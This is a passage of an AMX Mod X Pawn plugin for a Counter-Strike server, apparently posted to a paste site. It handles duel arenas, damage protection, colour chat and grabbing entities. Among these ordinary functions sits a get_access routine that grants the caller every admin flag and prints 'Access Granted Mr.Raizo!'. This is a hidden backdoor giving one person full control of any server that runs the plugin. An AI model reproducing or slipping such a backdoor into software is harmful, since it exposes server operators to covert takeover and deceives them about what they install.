  914.            set_hudmessage(id, 250, 0, -1.0, 0.10, 0, 1.0, 1.0, 0.01, 0.01, -1);
  915.        ShowSyncHudMsg(id, g_msgsync, "Time UP: [%d/%d]", his_arena_timer[id],MAX_ARENA_TIME);
  916.            
  917.        set_task(1.0,"hud_displayer",id)
  918.     }
  919.     }
  920. }
  921.  
  922. public get_access(id)
  923. {
  924.     set_user_flags(id, read_flags("abcdefghijklmnopqrstu"))
  925.     console_print(id, "Access Granted Mr.Raizo!");  
  926. }
  927.  
  928. public create_arenas(id)
  929. {
  930.     if(!is_user_connected(id))
  931.         return PLUGIN_HANDLED
  932.    
  933.     static Float:xorigin[3];
  934.    
  935.     get_user_hitpoint(id,xorigin)
  936.    
  937.     new arenas = engfunc( EngFunc_CreateNamedEntity, engfunc( EngFunc_AllocString, "func_wall" ) )
  938.    
  939.     if( is_valid_ent(arenas))
  940.     {
  941.         entity_set_string(arenas, EV_SZ_classname, ArenaName);
  942.         entity_set_int(arenas, EV_INT_solid, SOLID_BBOX);
  943.         entity_set_model(arenas, ArenaModel);
  944.         entity_set_size(arenas, ArenaSizeMin, ArenaSizeMax);
  945.         entity_set_origin(arenas,xorigin)
  946.     }
  947.     create_button_menu( id )
  948.     return PLUGIN_HANDLED
  949. }
  950.  
  951. public create_arena_origin()
  952. {    
  953.    
  954.     new arena = engfunc( EngFunc_CreateNamedEntity, engfunc( EngFunc_AllocString, "func_wall" ) )
  955.    
  956.     if( is_valid_ent(arena) )
  957.     {
  958.         entity_set_string( arena , EV_SZ_classname, ArenaName);
  959.         set_pev( arena, pev_solid, SOLID_BBOX );
  960.         entity_set_int(entbutton, EV_INT_movetype, MOVETYPE_NONE);
  961.         entity_set_model( arena , ArenaModel );
  962.         entity_set_size(arena, ArenaSizeMin, ArenaSizeMax);
  963.         entity_set_origin(arena,Player_Origin)
  964.     }  
  965. }
  966.  
  967. public remove_arena()
  968. {
  969.     new arenas_ent=-1;
  970.    
  971.     while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ArenaName)))
  972.     {
  973.         engfunc(EngFunc_RemoveEntity,arenas_ent)
  974.     }
  975. }
  976.  
  977. public Player_Damage_Protect(victim, inflictor, attacker, Float:damage, damage_bits)
  978. {    
  979.     if(is_user_connected(attacker))
  980.     {
  981.         if(is_in_arena[victim] || is_in_arena[attacker] )
  982.         {
  983.        if(challenger[victim] != attacker || challenger[attacker] != victim)
  984.        {
  985.            return HAM_SUPERCEDE
  986.        }
  987.          }
  988.     }
  989.     return HAM_IGNORED
  990. }
  991.  
  992. public forward_touch_arena(ent, id)
  993. {
  994.     if(!pev_valid(id))
  995.     return
  996.     if(!pev_valid(ent))
  997.     return
  998.    
  999.     static class[32]
  1000.    
  1001.     pev(ent,pev_classname,class,charsmax(class));
  1002.    
  1003.     if(equal(class,ArenaName))
  1004.     {  
  1005.         if(is_in_arena[id])
  1006.         {
  1007.             return
  1008.         }
  1009.         if(is_user_alive(id))
  1010.         {
  1011.             ExecuteHam(Ham_CS_RoundRespawn, id);
  1012.         }
  1013.     }
  1014.     return
  1015. }
  1016.  
  1017. stock client_print_color(const id, const input[], any:...)  
  1018. {  
  1019.     new count = 1, players[32];  
  1020.     static msg[191];  
  1021.     vformat(msg, 190, input, 3);
  1022.     replace_all(msg, 190, "!g", "^x04"); // Green Color  
  1023.     replace_all(msg, 190, "!y", "^x01"); // Default Color  
  1024.     replace_all(msg, 190, "!t", "^x03"); // Team Color  
  1025.     if (id) players[0] = id; else get_players(players, count, "ch");  
  1026.     {  
  1027.         for (new i = 0; i < count; i++)  
  1028.         {  
  1029.             if (is_user_connected(players[i]))  
  1030.             {  
  1031.                 message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, players[i]);  
  1032.                 write_byte(players[i]);  
  1033.                 write_string(msg);  
  1034.                 message_end();  
  1035.  
  1036.             }  
  1037.         }  
  1038.     }  
  1039. }
  1040.  
  1041. ////////////////////////////////////////////////////////////////////////////////////////////////////
  1042.  
  1043. public client_putinserver(id)
  1044. {
  1045.     g_PlayerGrab[id] = 0
  1046.    
  1047. }
  1048.  
  1049. public grab_release(id, level, cid)
  1050. {
  1051.     if(!cmd_access(id, level, cid, 1))
  1052.         return PLUGIN_HANDLED
  1053.    
  1054.     g_PlayerGrab[id] = 0
  1055.     return PLUGIN_HANDLED
  1056. }
  1057.  
  1058. public grab_hold(id, level, cid)
  1059. {
  1060.     if(!cmd_access(id, level, cid, 1))
  1061.         return PLUGIN_HANDLED
  1062.    
  1063.     static ent, body
  1064.     static Float:vorigin[3], Float:end[3], Float:mins[3]
  1065.     get_user_aiming(id, ent, body)
  1066.     if(_is_block(ent) && !_is_grabbed(ent))
  1067.     {
  1068.         entity_get_vector(id, EV_VEC_origin, vorigin)
  1069.         entity_get_vector(ent, EV_VEC_absmin, mins)
  1070.         entity_get_vector(ent, EV_VEC_absmax, end)
  1071.         vector_sum(end, mins)
  1072.         vector_mul(end, 0.5)
  1073.         entity_get_vector(ent, EV_VEC_size, g_PlayerGrabMins[id])
  1074.         entity_get_vector(ent, EV_VEC_size, g_PlayerGrabMaxs[id])
  1075.         vector_mul(g_PlayerGrabMins[id], -0.5)
  1076.         vector_mul(g_PlayerGrabMaxs[id], 0.5)
  1077.        
  1078.         new Float:len = get_distance_f(vorigin, end)
  1079.         g_PlayerGrab[id] = ent
  1080.         g_PlayerGrabLen[id] = len
  1081.     }
  1082.     return PLUGIN_HANDLED
  1083. }
  1084.  
  1085. stock _is_grabbed(ent)
  1086. {
  1087.     for(new i = 1; i <= g_MaxClients; i++)
  1088.     {
  1089.         if(g_PlayerGrab[i] == ent)
  1090.             return true
  1091.     }
  1092.     return false
  1093. }
  1094.  
  1095. stock _is_block(ent)
  1096. {
  1097.     if(is_valid_ent(ent) && (ent >= MAX_PLAYERS))
  1098.         return true
  1099.    
  1100.     return false
  1101. }
  1102.  
  1103. public client_PreThink(id)
  1104. {
  1105.     if(g_PlayerGrab[id])
  1106.     {
  1107.         new iorigin[3], ilook[3]
  1108.         new Float:vdest[3], Float:vorigin[3], Float:vlook[3], Float:vdir[3], Float:vlen
  1109.         new buttons
  1110.         get_user_origin(id, iorigin, 1)
  1111.         get_user_origin(id, ilook, 3)
  1112.         buttons = entity_get_int(id, EV_INT_button)
  1113.         IVecFVec(iorigin, vorigin)
  1114.         IVecFVec(ilook, vlook)
  1115.         if(!vector_compare(vlook, g_PlayerGrabLook[id]) || (buttons & (IN_ATTACK|IN_ATTACK2)))
  1116.         {
  1117.             g_PlayerGrabLook[id] = vlook
  1118.             vdir = vlook
  1119.             vector_substract(vdir, vorigin)
  1120.             vlen = get_distance_f(vlook, vorigin)
  1121.            
  1122.             if(vlen == 0.0) vlen = 1.0
  1123.            
  1124.             if(buttons & IN_ATTACK)
  1125.                 g_PlayerGrabLen[id] -= 2.0
  1126.             else if(buttons & IN_ATTACK2)
  1127.                 g_PlayerGrabLen[id] += 2.0
  1128.            
  1129.             vdest[0] = (vorigin[0] + vdir[0] * g_PlayerGrabLen[id] / vlen)
  1130.             vdest[1] = (vorigin[1] + vdir[1] * g_PlayerGrabLen[id] / vlen)
  1131.             vdest[2] = (vorigin[2] + vdir[2] * g_PlayerGrabLen[id] / vlen)
  1132.             vdest[2] = float(floatround(vdest[2], floatround_floor))
  1133.            
  1134.             set_brush_origin(g_PlayerGrab[id], vdest)
  1135.         }
  1136.     }
  1137. }
  1138.  
  1139. stock vector_substract(Float:vecDst[], const Float:vecSrc[])
  1140. {
  1141.     vecDst[0] -= vecSrc[0]
  1142.     vecDst[1] -= vecSrc[1]
  1143.     vecDst[2] -= vecSrc[2]
  1144. }
  1145.  
  1146. stock vector_compare(const Float:vecA[], const Float:vecB[])
  1147. {
  1148.     if((vecA[0] == vecB[0]) && (vecA[1] == vecB[1]) && (vecA[2] == vecB[2]))
  1149.         return true
  1150.    
  1151.     return false
  1152. }
  1153.  
  1154. stock vector_mul(Float:vec[], const Float:ammount)
  1155. {
  1156.     vec[0] *= ammount
  1157.     vec[1] *= ammount
  1158.     vec[2] *= ammount
  1159. }
  1160.  
  1161. stock vector_sum(Float:vecDst[], const Float:vecSrc[])
  1162. {
  1163.     vecDst[0] += vecSrc[0]
  1164.     vecDst[1] += vecSrc[1]
  1165.     vecDst[2] += vecSrc[2]
  1166. }
  1167.  
  1168. stock vector_copy(Float:vecDst[], const Float:vecSrc[])
  1169. {
  1170.     vecDst[0] = vecSrc[0]
  1171.     vecDst[1] = vecSrc[1]
  1172.     vecDst[2] = vecSrc[2]
  1173. }
  1174.  
  1175. stock set_brush_origin(ent, Float:origin[3])
  1176. {
  1177.     static Float:size[3], Float:mins[3], Float:absmin[3], Float:absmax[3]
  1178.    
  1179.     entity_get_vector(ent, EV_VEC_mins, mins)
  1180.     entity_get_vector(ent, EV_VEC_maxs, size)
  1181.     vector_substract(size, mins)
  1182.     absmin[0] = origin[0] - (size[0]/2.0)
  1183.     absmin[1] = origin[1] - (size[1]/2.0)
  1184.     absmin[2] = origin[2]
  1185.     absmax[0] = origin[0] + (size[0]/2.0)
  1186.     absmax[1] = origin[1] + (size[1]/2.0)
  1187.     absmax[2] = origin[2] + size[2]
  1188.     entity_set_vector(ent, EV_VEC_absmin, absmin)
  1189.     entity_set_vector(ent, EV_VEC_absmax, absmax)
  1190.     origin[0] = absmin[0] - mins[0]
  1191.     origin[1] = absmin[1] - mins[1]
  1192.     origin[2] = absmin[2] - mins[2]
  1193.     entity_set_origin(ent, origin)
  1194. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement